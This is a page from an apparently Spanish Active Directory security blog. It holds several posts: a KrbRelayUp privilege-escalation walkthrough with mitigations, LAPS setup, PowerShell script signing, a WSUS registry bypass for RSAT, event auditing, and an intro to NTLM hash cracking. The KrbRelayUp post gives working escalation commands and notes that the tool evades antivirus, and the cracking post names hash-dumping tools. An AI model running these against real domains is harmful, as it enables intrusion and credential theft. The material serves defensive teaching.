Páginas

Mostrando entradas con la etiqueta Active Directory. Mostrar todas las entradas
Mostrando entradas con la etiqueta Active Directory. Mostrar todas las entradas

11 mayo, 2022

KrbRelayUp PrivEsc: Escalada de privilegios local en entornos Active Directory y mitigación

KrbRelayUp es una herramienta que nos permite en una post-explotación la escala de privilegios locales en máquinas unidas a un dominio Active Directory y persistencia para realizar este privesc en cualquier máquina del dominio a través de movimientos laterales hasta llegar a la máquina objetivo, de ahí su criticidad y riesgo alto.

No se trata de una vulnerabilidad en sí con un CVE asignado, sino del aprovechamiento de un fallo de configuración por defecto de Windows por parte de los controladores de dominio.

Esta explotación es exitosa en cualquier máquina cliente Windows 10 bajo controladores de dominio Window Server 2012, 2016 y 2019. Actualmente Microsoft no ha dando solución con ningún parche de actualización. 

Más información en el repositorio del autor Mor Davidovich @dec0ne:

Explotación (PoC)

Previamente debemos compilar el proyecto, dejo referencia del binario ya compilado KrbRelayUp.exe (fuente de la descarga: https://kb.offsec.nl/). La explotación es sumamente sencilla, una vez comprometida la máquina y descargado el ejecutable lanzamos el exploit. Hasta el momento el servicio de protección para ejecución malware de Windows no lo detecta.

Primera fase del ataque, el usuario de dominio autenticado y sin privilegios retransmitirá una petición Kerberos a LDAP y creará una máquina de control sobre la máquina local usando RBCD.

.\KrbRelayUp.exe relay -Domain <Domain> -CreateNewComputerAccount -ComputerName <hostName>$ -ComputerPassword <Password>

Segunda fase del ataque, utilizará la máquina creada de control para obtener un ticket de servicio de Kerberos y lo utilizará para crear un nuevo servicio que se ejecute como SYSTEM (en este caso está desarrollado para lanzar un cmd.exe).

.\KrbRelayUp.exe spawn -d <Domain> -cn <HostName>$ -cp <Password>

Figura 1: Escalada de privilegios local a SYSTEM usando KrbRelayUp.exe.

Si verificamos en la consola de Active Directory (dsa.msc) vemos como se ha creado una nueva máquina "host01". 

Aclarar que esta máquina será usada como persistencia en el dominio un posible atacante podría moverse lateralmente entre máquinas aprovechando el principio de localidad hasta llegar a una máquina servidor objetivo donde estuviese autenticado un usuario del grupo administradores de dominio o el propio administrador de dominio. Al poder escalar privilegios a SYSTEM sería más que posible realizar un volcado de hashes en memoria de dicha cuenta.

Por esta razón considero que se trata de algo crítico, con un alto riesgo de seguridad y que se debería subsanar lo antes posible. Más adelante veremos como mitigar esto.

Figura 2: Creación de la máquina maliciosa por parte de un usuario del dominio en Active Directory.

Detección (Event ID 4768)

Este artículo no está enfocado al detalle de detección, sino más bien a la explotación y mitigación de esta vulnerabilidad. Considero que en este caso es más eficiente realizar una mitigación para este fallo de configuración que generar las alertas de detección en nuestro SIEM.

La mitigación para esta vulnerabilidad tiene una sencilla implementación a nivel global de todo el dominio, sin embargo en las reglas de detección se nos puede escapar algo nuevo y que no se estaría alertando.

Uno de los logs que podemos registrar (en una configuración de Auditoría por defecto de AD) sería el evento 4768 "Solicitud de ticket de autenticación de Kerberos (TGT)". Donde el Account Name sería la creación de máquina en AD.

Figura 3: EventID 4768 - Autenticación Kerberos solicitud de ticket TGT del host malicioso

También he intentado buscar un evento estado buscando un evento 4741 "Creación de una cuenta de máquina", sin éxito. Es posible que la incorporación de Sysmon nos pueda dar más detalles para su detección y poder crear un indicador de compromiso válido.

Para el uso de reglas Sigma y otros eventos de Windows aconsejo consultar el repositorio donde se mantiene actualizada esta información.

Mitigación y verificación

Para evitar el aprovechamiento de esta mala configuración por defecto en entornos de dominio, podemos elegir diversas opciones de mitigación:

  • Opción 1. Requerir firma LDAP del servidor.
  • Opción 2: Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio.
  • Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota.

Opción 1. Requerir firma LDAP del servidor

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":

Polices > Windows Settings > Security Settings > Local Polices > Security Options > "Domain controller: LDAP server signing requirements" y establecerla como "Require signing"

De esta forma se rechazan las solicitudes de LDAP simples y solicitudes LDAP a través de SSL. Esto puede tener impacto en sistemas Windows XP o Server 2003.

No es necesario aplicar ambas políticas: "Network Security: LDAP client signing requirements" y "Domain controller: LDAP server signing requirements" en la GPO Default Domain Policy.

Figura 4: Mitigación KrbRelayUp - Aplicar política "Domain controller: LDAP server signing requirements".

Verificamos la mitigación y vemos que al aplicar esta política la conexión LDAP falla. En la segunda fase del exploit tampoco es posible realizar la conexión solicitando el ticket Kerberos TGT para autenticarnos en la máquina creada y poder levantar la terminal privilegiada SYSTEM.

Aunque el ataque no fue exitoso, si ha sido posible crear una nueva máquina en el dominio, no nos daría persistencia ya que la autenticación no se va poder realizar en ningún caso, pero en caso de ejecutar el ataque se estarían creando de forma residual estas máquinas en la OU por defecto de "Computers".

Figura 5: Verificación mitigación - LDAP server signing requirements.

Opción 2. Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio

De todas las opciones de mitigación que se comentan en este artículo, es la que aplicaría por escalabilidad y gestión centralizada de permisos a través de grupos de seguridad de Active Directory.

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":
Polices > Windows Settings > Security Settings > Local Polices > User Rights Assignment > "Add workstations to domain"
Por defecto esta política establece que todos los "usuarios autenticados" tienen la capacidad de unir máquinas al dominio. Un solución sería eliminar este grupo y agregar los grupos que autorizados para realizar esta tarea. En este caso agregué "Domain Admins" y un grupo específico creado en AD de este modo podremos agregar otros grupos o usuarios específicos y autorizados pudiendo así granular los permisos para realizar esta tarea.

Figura 6: Mitigación KrbRelayUp - Limitar permisos para la política "Add worksations to domain".

Con esta política propagada y aplicada en los DCs, si probamos a ejecutar nuevamente el exploit vemos que falla mostrando un mensaje de que el usuario no tiene permisos suficientes (esto se refiere a que no es posible que este usuario pueda crear máquinas unidas al dominio).

Lógicamente esta opción no llegará ni si quiera a crear la máquina en AD. Por lo que ya estaríamos eliminando una posible persistencia en el dominio por parte del atacante.

Figura 7: Verificación mitigación - Permisos insuficientes para poder unir máquinas al dominio.

Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota

Otra mitigación que dificultaría los requisitos del ataque sería limitar limitar el número de máquinas que un usuario pueda unir al dominio. Si optamos por esta opción debemos establecer un valor 0 al atributo del dominio ms-DS-MachineAccountQuota.

Este atributo lo podemos encontrar y editar directamente desde las propiedades del dominio en una consola de Active Directory (dsa.msc) o también acceder a él a través desde la consola de editor ADSI (adsiedit.msc).

Figura 8: Mitigación KrbRelayUp - Limitar el valor del atributo ms-DS-MachineAccountQuota.

Si verificamos la aplicación de este cambio vemos como al intentar ejecutar el exploit el servidor no puede gestionar esta solicitud, esto estaría bloqueando el ataque y tampoco crearía la máquina en AD evitando así, al igual que la opción anterior, una posible persistencia en el dominio.

Figura 9: Verificación mitigación - ms-DS-MachineAccountQuota = 0.

Si con el mismo usuario, desde otra máquina nueva, intentamos unirla al dominio de modo gráfico nos muestra el siguiente error indicando que "hemos superado el número máximo de cuentas de máquina que puedes crear o unir en este dominio".

Figura 10: Verificación mitigación - Mensaje de error al intentar unir una máquina al dominio.

¿Cómo identificar quién agregó un nueva maquina al dominio?

El usuario "user.sinpriv" es un usuario de dominio sin ningún otro privilegio otorgado, sin embargo el exploit hace uso del cmdlet New-AddComputer sumado a esta configuración por defecto en entornos de dominio este usuario puede crear máquinas en Active Directory. 

Podemos identificar y verificar quien a creado una máquina en AD examinando el atributo ms-DS-CreatorSID.

Get-ADComputer <Host> -Properties mS-DS-CreatorSID | Select-Object -Expandproperty mS-DS-CreatorSID | Select-Object -ExpandProperty Value | Foreach-Object {Get-ADUser -Filter {SID -eq $_}}
Figura 10: Identificar al usuario en la creación de nuevas máquinas unidas al dominio.

Saludos!

11 enero, 2022

Instalar y configurar Microsoft LAPS para evitar movimientos laterales (Local Administrator Password Solution)

Microsoft LAPS (Local Administrator Password Solution) se trata de una herramienta de Microsoft que pone solución a la gestión de contraseñas administrador local de los equipos unidos a un dominio. 

Entendiendo el riesgo de seguridad y escenarios comunes en las organizaciones

En la mayoría de compañías es una práctica común establecer la misma contraseña para la cuenta del administrador local en todos los equipos que forman parte de un dominio, principio de localidad entre máquinas, ya puedan ser clientes o servidores (exceptuando los Domain Controller que por defecto carecen de una cuenta de administrador local).

Se considera una reducción del riesgo alto la implementación de este tipo de soluciones que evita configurar una misma contraseña para la cuenta de administrador local en todas las máquinas, al hacer que cada máquina use una contraseña diferente y compleja para la cuenta de administrador local se establece una importante medida defensiva que evita principalmente el movimiento lateral entre equipos (pivoting), una vez se obtuviese una contraseña o un hash NTLM válido en el que poder realizar técnicas de Pass the Hash (PtH).

Este tipo de soluciones es conocida por muchas empresas pero implementada por muy pocas en la realidad, no tanto por su complejidad sino por el impacto significativo que supone en la operativa diaria de gestión del cambio en la administración remota de los equipos, despliegues automáticos mal configurados en las que se haga uso de la contraseña de administrador local parametrizada, mantenimiento en los posibles endpoints que se encuentren fuera de la oficina en la que la conexión con la VPN a la red central se realice en pocas ocasiones y sea necesario gestionarlo a través de una cuenta local privilegiada, etc. 

En cualquier caso para entornos on-premise existen alternativas de gestión remota para estos equipos como puede ser la creación de un grupo en AD en el cual se añada a través de GPO al grupo administradores locales de las máquinas de modo que cada usuario que pertenezca a ese grupo principal pueda autenticarse en el equipo con su contraseña de dominio de forma nominal. En el caso de disponer de un entorno híbrido integrado con algún proveedor cloud MDM no solo se simplifica la gestión de los equipos sino que se gana en monitorización y administración de seguridad de los mismos.

Características de LAPS

LAPS determina si la contraseña de la cuenta del administrador local ha caducado. Si la contraseña ha caducado, cambia la contraseña del administrador local a un nuevo valor aleatorio y transmite la nueva contraseña y la fecha de caducidad a Active Directory donde se almacena en unos atributos especiales asociados con el objeto de equipo de AD. Las contraseñas se almacenan en Active Directory y están protegidas por listas de control de acceso (ACLs) por lo que solo los usuarios elegibles pueden leerlas o solicitar su restablecimiento.
  • Gestión centralizada y almacenamiento de las contraseñas de los administradores locales de forma segura dentro de AD DS.
  • Las contraseñas se almacenan en valores de atributos que sólo estarán visibles para los usuarios o grupos de seguridad que se definan a través de Active Directory.
  • Las contraseñas de los administradores locales son únicas en cada máquina.
  • Las contraseñas se cambian de forma automática, estableciendo contraseñas aleatorias y complejas en base a patrones que previamente estén definidos en su propia plantilla GPO (AdmPwd.admx).
  • Transmite las contraseñas al cliente de manera segura y cifrada.
  • Permite controlar los permisos en usuarios o grupos para el acceso a la visualización y restablecimiento de las contraseñas.
  • Dispone de sus propios ID de eventos para su análisis en auditorías.

Instalación de LAPS

Instalador de LAPS (Local Administrator Password Solution).

En uno de los controladores de dominio, preferiblemente un PDC (Primary Domain Controller), instalamos y agregamos las características del cliente pesado, módulo de PowerShell y las plantillas del editor de políticas de grupo.

GPO CSE (Client-Side Extension) solo deberá estar presente en cada endpoint gestionado.

Figura 1: Instalar características para la gestión LAPS.

Figura 2: LAPS instalado.

Importamos el módulo AdmPwd.ps, se actualiza el esquema de Active Directory, y se definen las unidades organizativas donde se quieran aplicar los permisos para la gestión de LAPS.

Import-Module AdmPwd.ps
Update-AdmPwdADSchema
Set-AdmPwdComputerSelfPermission -Identity "<OU_AD>"

Figura 3: Importar módulo AdmPwd y actualizarlo en el esquema de AD.

El permiso de escritura en los atributos ms-Mcs-AdmPwdExpirationTime y ms-Mcs-AdmPwd de todas las cuentas del equipo tiene que ser añadido a la cuenta integrada. Esto es necesario para que la máquina pueda actualizar la contraseña y la fecha de caducidad de su propia contraseña de administrador local gestionada.

Para visualizar todos los cmdlets disponibles de un módulo podemos usar Get-Command y especificar el módulo.
Get-Command -Module AdmPwd.ps
Figura 4: Ver todos los cmdlets disponibles de un módulo.

Configuración GPO LAPS en Active Directory

Se crea una nueva GPO desde el editor de administrador de políticas de grupo (gpmc.msc). Al instalar la plantilla AdmPwd.admx de LAPS se añaden las nuevas políticas para establecer su configuración.
Computer Configuration > Polices > Administrative Templates > LAPS
Se habilita la política y en el caso de que el administrador local no sea el nombre por defecto (Administrator o Administrador) indicamos el nombre de la cuenta local tipo administrador que esté configurada en los equipos del dominio y los parámetros de las passwords como la: complejidad, longitud y expiración.

Figura 5: Crear y configurar GPO LAPS.

Desplegar el MSI de LAPS al resto de equipos del dominio a través de GPO

Es necesario desplegar el mismo instalador al resto de los equipos del dominio donde se necesite implementar LAPS ya sea en su versión de x64 o x86 y solamente con la característica por defecto habilitada.

La operativa de despliegue dependerá de la herramienta que se estemos usando para la gestión de endpoints de la infraestructura ya sea con SCCM System Center, Microsoft Intune, Puppet, etc.
msiexec /i <PATH>\LAPS.x64.msi /quiet
msiexec /i <PATH>\LAPS.x86.msi /quiet
Para este ejemplo al tratarse de un fichero Microsoft Installer .msi se puede desplegar directamente a través de otra GPO.
Computer Configuration > Policies > Software Settings > Software installation
Se indica la ruta donde está el instalador, el tipo de deployment será "Assigned" (sin modificaciones en sus características de instalación) ya que con la configuración por defecto solo instalaría la característica del cliente (GPO CSE).

Figura 6: Desplegar LAPS a los equipos del dominio a través de GPO. 

Funcionamiento y administración de LAPS

En los objetos tipo "Computer" de la unidad organizativa de Active Directory donde se delegaron los permisos para LAPS podemos comprobar que se han añadido dos nuevos atributos: 
  • ms-Mcs-AdmPwd: Almacena la password local del equipo.
  • ms-Mcs-AdmPwdExpirationTime: Tiempo en la que la password expirará y será renovada por otra password aleatoria cumpliendo los requisitos establecidos en la GPO.
A través del Editor de interfaces de servicios de Active Directory ADSI (adsiedit.msc) comprobamos como se han creado estos atributos y ver su valor desde la pestaña de editor de atributos de la propia ficha del objeto en la consola de Active Directory (dsa.msc).

Figura 7: Atributos de objeto donde se almacenará la password local aleatoria y rotatoria.

LAPS UI es la interfaz gráfica para una gestión más sencilla de LAPS donde podemos buscar por hostname un equipo del dominio para visualizar su password de administrador local, fecha de expiración y también restablecer su password (en caso de que tengamos permisos de escritura sobre los atributos comentados anteriormente).

Otra forma de visualizar la passwords es a través de PowerShell haciendo uso de los cmdlets que se importan a través del módulo AdmPwd.ps en la instalación de LAPS.
Get-AdmPwdPassword <HOSTNAME> | fl
Get-AdmPwdPassword <HOSTNAME>.Password
Figura 8: LAPS UI para ver y restablecer las passwords locales de los equipos de AD.

También es posible restablecer la password de administrador local de un equipo del dominio desde PowerShell.
Reset-AdmPwdPassword -ComputerName:<HOSTNAME>

Establecer permisos específicos según roles (RBAC)

Solo los usuarios privilegiados del dominio como los Domain Admins tienen permisos de lectura y escritura sobre los valores de los atributos donde se almacena la password y la fecha de expiración. 

En el caso de que se necesite conceder la capacidad de poder ver o editar estos valores de atributos a usuarios que no sean administradores, sino usuarios menos privilegiados a nivel de dominio que proporcionen mantenimiento y soporte a otros empleados de la compañía, se pueden crear grupos de seguridad en Active Directory de solo lectura (LAPS_R) y otro de lectura y escritura (LAPS_RW) donde se puedan asignar estos usuarios de soporte y de esta manera tener un control de permisos más granular.

En este caso asignamos el permiso de solo lectura sobre estos atributos al grupo "LAPS_R". Es posible conceder estos permisos de dos modos: 

Una forma automática a través del siguiente cmdlet donde se hará referencia el grupo de AD y la OU.
Set-AdmPwdReadPasswordPermission -Identity "<OU_AD>" -AllowedPrincipals "<Grupo_Solo_Lectura>"
Con el siguiente cmdlet verificamos la asignación de permisos asignados a la OU.
Find-AdmPwdExtendedRights -Identity "<OU_AD>"
Figura 9: Establecer un grupo de permiso de lectura para LAPS. 

La otra opción sería hacerlo de manera manual estableciendo las DACLs de la OU. En este caso agregando el grupo LAPS_R a las propiedades de seguridad de la OU y en los permisos avanzados permitir las siguientes ACEs "Read ms-Mcs-AdmPwd" y "Read ms-Mcs-AdmPwdExpirationTime".

Figura 10: LAPS - ACEs de lectura establecida a un grupo en una OU de AD.

En el caso que necesitemos agregar un grupo de usuarios para poder restablecer passwords, es decir otorgar permisos de escritura sobre los valores de los atributos de LAPS, usaremos el siguiente cmdlet.
Set-AdmPwdResetPasswordPermission -Identity "<OU_AD>" -AllowedPrincipals "<Grupo_Lectura_Escritura>"

Comprobar los permisos establecidos

Para comprobar de los permisos asignados anteriormente, el usuario de dominio "user2" no forma parte del grupo "LAPS_R" por lo tanto desde la consola de Active Directory no podrá visualizar los atributos de LAPS del equipo "PC10D2".

Figura 11: Comprobación de lectura sin permisos en el atributo de password de AD.

Para cambiar esto y conceder permisos de lectura. Se asigna el usuario "user2" al grupo "LAPS_R" de AD, se reinicia sesión con este usuario para aplicar los cambios y vemos como es posible visualizar desde el editor de atributos del tipo de objeto equipo el valor de la contraseña y la fecha de expiración. 

Figura 12: Comprobación de lectura correcta en el atributo de password de AD

Auditoría de eventos LAPS

La activación de auditoría de los usuarios que consultan y leen con éxito la contraseña de Administrador local de un equipo se puede activar mediante el siguiente cmdlet parte del módulo de AdmPwd.ps. 
Set-AdmPwdAuditing -OrgUnit: <OU_AD> -AuditedPrincipals: <GRUPO/USUARIO>
Cuando una contraseña se lee con éxito, se registra un ID de evento 4662 en el registro de seguridad del controlador de dominio.

Figura 13: Auditar eventos LAPS de consulta y lectura exitosa de la contraseña.

Saludos!

25 marzo, 2021

Firmar scripts PowerShell [Parte 2 de 2]: Entidad de certificación CA (ADCS), despliegue de certificado vía GPO e integridad de firma

Firmar scripts PowerShell

Continuando con el artículo sobre como firmar scripts PowerShell estableciendo una política de ejecución AllSigned. En este post comentaré como hacer uso de las plantillas de certificados para el propósito de "Firma de código" emitidas por una Entidad de certificación CA implementada en un entorno de dominio haciendo uso del servicio ADCS (Active Directory Certificate Services), desplegando el certificado vía GPO y finalmente realizar una comprobación de integridad del script PowerShell firmado.

CA raíz y CA subordinadas

La CA raíz contiene la clave privada de toda la jerarquía de certificados, si un atacante obtuviera este certificado o emite un certificado para una entidad no autorizada, se compromete la seguridad basada en el certificado de la organización de todos los certificados que se han emitido en esa jerarquía.

Lo ideal y por seguridad sería disponer de una CA raíz que emita certificados para una CA subordinada, de modo que no se exponga directamente el primer nivel de certificado de la CA raíz, las CA subordinadas requieren una jerarquía de PKI establecida.

Entidades de certificación: empresarial e independientes

  • Entidad de certificación empresarial: Deben pertenecer al dominio, se suele utilizar cuando es necesario emitir muchos certificados y aprobarlos rápidamente para un entorno de dominio Active Directory.
  • Entidad de certificación independiente: Pueden pertenecer a un grupo de trabajo o a un dominio. No requieren de ADDS, se suele utilizar para emitir certificados directamente a los clientes. Dado que no tiene el certificado raíz, ofrece una mayor seguridad. La desventaja es que todos los certificados que se emiten deben ser aprobados.

Descripción del escenario para este lab

Por motivo de falta de recursos y no desplegar una CA subordinada, para estos ejemplos se hará uso únicamente de una CA raíz tipo empresarial ya implementada con el nivel de confianza máximo en la jerarquía de PKI de la organización y un equipo Windows 10 unido al dominio en el que se probará la ejecución de scripts PowerShell firmados donde se le aplicará una GPO con el certificado necesario. 

Entidad de certificación CA (ADCS) y plantilla de Firma de código

Esto sería opcional pero para tener un control de permisos podemos crear un nuevo grupo en AD para este fin y asignarlo desde la consola de "Plantillas de certifiado" (certtmpl.msc) a la plantilla de que tiene como propósito la "Firma de código". De modo que todos los usuarios/grupos que formen parte del grupo añadido tengan permisos para poder solicitar esta plantilla a la entidad de certificación desde las propia consola local de administración de certificados de usuario (certmgr.msc).

Figura 1: Asignación de permisos a la plantilla de certificado "Firma de código".

Desde la consola de "Entidad de certificación" (certsrv.msc). Emitimos la publicación de una nueva plantilla de certificado "Firma de código".

Figura 2: Emitir plantilla de certificado "Firma de código" desde una Entidad de certificación CA.

Es el momento de solicitar un certificado para "Firma de código". Esto lo haremos desde el propio almacén de certificados de Windows (certmgr.msc) y con un usuario que tenga permisos para poder solicitar el certificado de Firma de código a la Entidad de certificación.

Figura 3: Solicitar a la CA un certificado de Firma de código. 

Una vez solicitado, exportamos el certificado en formato .cer.

Figura 4: Exportar el certificado .cer con propósitos de Firma de código.

Despliegue de certificado vía GPO

Para que el resto de equipos del dominio dispongan del certificado .cer en su almacén de certificados, se crea una nueva GPO desde la consola de Administración de directivas de grupo (gpmc.msc). 

A nivel de directiva de equipo, importamos el certificado .cer en el almacén de "Editores de confianza" (Trusted Publishers). Es importante que esté importado en este almacén, de lo contrario la ejecución de scripts PowerShell firmados en cualquier máquina unida al dominio y que tenga establecida una política de ejecución de scripts en modo AllSigned nos arrojará un mensaje de advertencia inicial (como se muestra en la Figura 7).

Figura 5: Desplegar certificado para firma de código vía GPO. 

Firmar scripts PowerShell con un certificado tipo "Firma de código"

Con el mismo usuario que hemos solicitado el certificado, firmamos un script PowerShell. Si visualizamos el fichero de script vemos que se ha incluido una firma complementaria al final del código.
Get-AuthenticodeSignature -FilePath .\MyScript.ps1
$cert = Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature -FilePath MyScript.ps1 -Certificate $cert
Figura 6: Firmar y ejecutar script PowerShell desde el mismo usuario.

Ejecución del script firmado en otro equipo y usuario del dominio

Probamos a ejecutar el script firmado desde otro usuario y equipo unido al dominio, en este caso un cliente Windows 10 con la política de ejecución de scripts establecida en AllSigned.

Como vemos en la siguiente captura, hay posibilidad de ejecutar el script pero nos muestra un advertencia indicando que el certificado no está importado en el almacén de "Editores de confianza" (Trusted Publishers). Por esta razón lo comentado en el punto anterior de la figura 5. De momento cancelamos la ejecución (ctrl+c).

Figura 7: Ejecutar script PowerShell desde otra máquina y usuario del dominio (sin certificado importado).

Para importar el certificado en el almacén local de la máquina realizamos un forzado de la actualización de políticas (gpupdate /force). Una vez tenemos el certificado ya importado a través de la aplicación de la GPO creada en la Figura 5, podemos observar que al volver ejecutar el script firmado ya no se muestra ninguna advertencia.

Lógicamente si ejecutamos un script no firmado (MyScript_noSigned.ps1) se nos mostrará el mensaje de error común debido a la restricción aplicada AllSigned en la política de ejecución de scripts.

Figura 8: Ejecutar script PowerShell desde otra máquina y usuario del dominio (con certificado importado).

Comprobación de la integridad de firma en scripts PowerShell

¿Qué pasa si se modifica el código del script firmado?

Para realizar la verificación de integridad de la firma del script se modifica el código del script firmado y se vuelve a comprobar el estado del certificado. 

Si ejecutamos el script después de modificarlo se nos muestra un error indicando que "es posible que alguien no autorizado haya modificado el contenido del archivo", comprobamos nuevamente la firma del fichero y veremos un estado HashMismatch indicando claramente que se ha modificado rompiendo su integridad respecto a la firma.

Será necesario volver a firmarlo con el mismo certificado, generando así una nueva firma asignada al script. 

Figura 9: Modificar script PowerShell firmado para comprobar su integridad.

Saludos!

18 febrero, 2021

Wynis: Checking de auditorías de seguridad para Windows y Active Directory

Wynis es un script de auditoría desarrollado por el usuario Sneakysecdoggo que realiza una evaluación de controles de indicadores del CIS (Center for Internet Security) siguiendo los benchmarks del CIS Best Practices Windows 10 y Windows Server 2016. Los puntos de referencia del CIS son reconocidos internacionalmente como estándares de seguridad para la defensa de sistemas y datos de IT contra ciberataques.

Se trata de una herramienta de script similar a Lynis, usada en sistemas basados en Linux.

Después de ejecutarlo creará un directorio con todos los resultados reportados en formato de texto y csv. El checklist reporta:

  • Lista de puertos, servicios
  • Reglas de firewall 
  • Software instalado 
  • Tareas programadas 
  • Software que se ejecuta al inicio 
  • Información general del sistema 
  • Recursos compartido, 
  • Políticas de seguridad y GPOs
  • Actualizaciones instaladas 
  • Características opcionales instaladas 
  • Lista de usuarios locales, 
  • Entre otros reportes adicionales...

No solo para sistemas Windows 10, sino que también dispone de un versión para realizar este tipo de auditoría en Server 2016 que sea controladores de dominio Active Directory.

Figura 1: Ejecución de Wynis en un sistema Windows.

Saludos!

07 noviembre, 2020

Instalar características RSAT en Windows 10 cuando WSUS bloquea su descarga

A partir de las últimas versiones de Windows 10 las RSAT (Remote Desktop Services Tools) ya no se descargan e instalan como un paquete de actualizaciones de Microsoft. Sino que se incorporan como características avanzadas independientes que podemos descargar/instalar directamente desde el nuevo panel de configuración del sistema.

En el caso de que estemos trabajando en una máquina Windows 10 bajo un entorno de actualizaciones controladas por WSUS (Windows Server Update Services) es muy probable que el propio servidor WSUS esté bloqueando la descarga de las características RSAT.

Comprobar si las actualizaciones están controladas por WSUS

Para comprobar que el equipo está controlado por un servidor WSUS podemos comprobar la siguiente rama del registro.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

Si vemos que los valores "WUServer" y "WUStatusServer" existen y apuntan a una dirección, normalmente HTTP puerto 8530 o HTTPS puerto 8531 con un nombre DNS interno significará que nuestro equipo recibe actualizaciones controladas directamente de un servidor WSUS.

¿Cómo instalar RSAT bajo un entorno controlado por WSUS?

Para poder instalar RSAT desde las características avanzadas del nuevo panel de control, abrimos un regedit en un contexto privilegiado como administradores, siguiendo la rama anterior, localizamos la siguiente rama.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

La clave "AU" nos indica la sección de "Actualización automáticas de Windows Update". Aquí vemos el siguiente valor "UseWUServer" y lo establecemos a un valor 0.

  • 1 = Obtiene actualizaciones de un servidor WSUS.
  • 0 = Obtiene actualizaciones de Microsoft Update.

Abrimos una consola PowerShell como administrador y reiniciamos el servicio wuauserv "Windows Update Agent Service".

Restart-Service wuauserv

Ahora ya podemos añadir las características RSAT que queremos, una vez instaladas ya podemos habilitar de nuevo a través del registro la obtención de actualizaciones a través de WSUS.

Figura 1: Instalar características RSAT deshabilitando WSUS. 

Saludos!

09 febrero, 2020

Active Directory: Auditar creación y cambios en cuentas de usuario (ID de eventos)

Para poder auditar la creación y cambios de cuentas de usuarios de Active Directory debemos establecer esta política a nivel de dominio en la plantilla "Default Domain Controllers Policy" situada en Objetos de directiva de grupo.

La editamos y configuramos:
Configuración del equipo > Directivas > Configuración de Windows > Configuración de seguridad > Directivas locales > Directiva de auditoría
Habilitamos "Auditar la administración de cuentas" en intentos "Correcto" y "Error".

Figura 1: Habilitar la auditoría de administración de cuentas en la plantilla "Default Domain Controllers Policy".

Si también queremos que se realice auditoría de la administración de cuentas locales en cualquier equipo unido al dominio, que no sean cuentas Active Directory. Debemos aplicar esta política a nivel de dominio dentro de la plantilla "Default Domain Policy".

Los ID de eventos que nos interesan para este caso son sobre la creación de nuevas cuentas de usuarios de Active Directory.
  • ID de evento 4720: Se creó una cuenta de usuario.
  • ID de evento 4722: Se habilitó una cuenta de usuario.
  • ID de evento 4724: Se intentó restablecer la contraseña de una cuenta.
  • ID de evento 4738: Se cambió una cuenta de usuario.
En el visor de eventos (eventvwr.msc) de un controlador de dominio, registros de Windows > Seguridad.

Creamos un filtro por los ID que nos interesen, separado por comas si queremos buscar más de un número de ID distinto.

En la siguiente captura se puede ver un ejemplo de un ID 4722, como se habilitó una nueva cuenta en Active Directory, más arriba tendríamos el ID 4720 donde se creó dicha cuenta.

Figura 2: Filtrar por ID de eventos para encontrar la creación de nuevas cuentas de usuario de Active Directory.

Saludos!

16 noviembre, 2019

Passwords cracking en Windows de hashes NTLM ntds.dit de Active Directory

Antes de empezar con la parte práctica de password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas (LM, NTHash o NTLM, NTLMv1, NTLMv2) que almacena Windows en su base de datos local SAM (Security Account Manager) o NTDS.DIT (NT Directory Services) si se trata de controladores de dominio de Active Directory.

Existen dos medios de los cuales se puede realizar la extracción de hashes:
  1. Desde un volcado de memoria en caliente. Por ejemplo MimikatzHot Potato o CrackMapExec (con el parámetro --lsa). Este método no es válido a partir de Windows Server 2016 ya que se implementa la característica de Credential Guard basada en virtualización para LSASS. Sin embargo sigue siendo válido para versiones clientes hasta la actual Windows 10.
  2. Desde un volcado de un fichero de disco como son: La base de datos SAM (%systemroot%\system32\config) en Windows de forma local como NTDS.dit (%systemroot%\NTDS) en el caso de un controlador de dominio de Active Directory, como veremos en esta entrada. 

LM Hash (Lan Manager)

Usado en sistemas Windows 2000/2003 aunque por retrocompatiblidad pueden ser usados en versiones posteriores de Windows. LM es débil e inseguro por diseño, teniendo en cuenta la velocidad de computo de los sistemas actuales, son capaces de probar cientos de miles de contraseñas por segundo por lo que su cifrado lo hace totalmente vulnerable en ataques de fuerza bruta.

Su algoritmo convierte todo de minúsculas a mayúsculas (uppercase) haciendo así un ataque enfocado a este tipo de caracteres, reduciendo las posibles combinaciones y el tiempo de cálculo.

Si la contraseña es inferior a 7 caracteres se rellena con caracteres NULOS. Y las contraseñas no pueden ser superiores a 14 caracteres.

Si la contraseña tiene más de 7 caracteres se divide en dos bloques, en el supuesto de utilizar una contraseña de 10 caracteres el ataque de fuerza bruta se realizará para un primer bloque de 7 y otro para un segundo bloque de 3 caracteres restantes, ambos bloques tienen el mismo espacio y en el caso del segundo, ya sea 1 solo caracter o 7 ocuparía el mismo espacio del hash. Si se utilizara una contraseña de 14 caracteres en vez de elevar exponencialmente el tiempo de ataque, simplemente se tardaría el doble de tiempo, por lo que daría igual usar una contraseña con una de 7 caracteres como una de 14 que sería la longitud máxima soportada para el almacenamiento de hashes LM.

Ejemplo de LM Hash: <35ABD1B8C5128FC8><6ABCF57855D56AC9>. Sin los signos <>. Simplemente se representó así para mostrar lo que sería un primer y segundo bloque del hash LM.

Más información sobre LM Hash (Lan Manager):

NT Hash o NTLM (New Technology Lan Manager)

A partir de sistemas Windows 2008/Vista se usa por defecto NTLM (aunque por compatibilidad se puede seguir haciendo uso de LM).

NTLM Es la mejora de cifrado respecto a LM. NTLM diferencia entre mayúsculas y minúsculas, calcula el hash cifrando con el estándar MD4. Pero por defecto sigue almacenando las contraseñas cifradas en LM y NTLM en la misma base de datos del fichero SAM  que se encuentra en el path "C:\Windows\System32\config\SAM".
  • Almacenamiento sin salt (igual que LM).
  • Contraseñas más de 14 caracteres.
  • Crackeables: RT Rainbow Tables (no salt) y BF Brute Force en función del tamaño (más de 5 caracteres RT). Ophcrack (distro Linux) mediante RT.
Ejemplo de NT Hash (NTLM): 4B6A9B02C6F09P9BD265F388BA951E2B

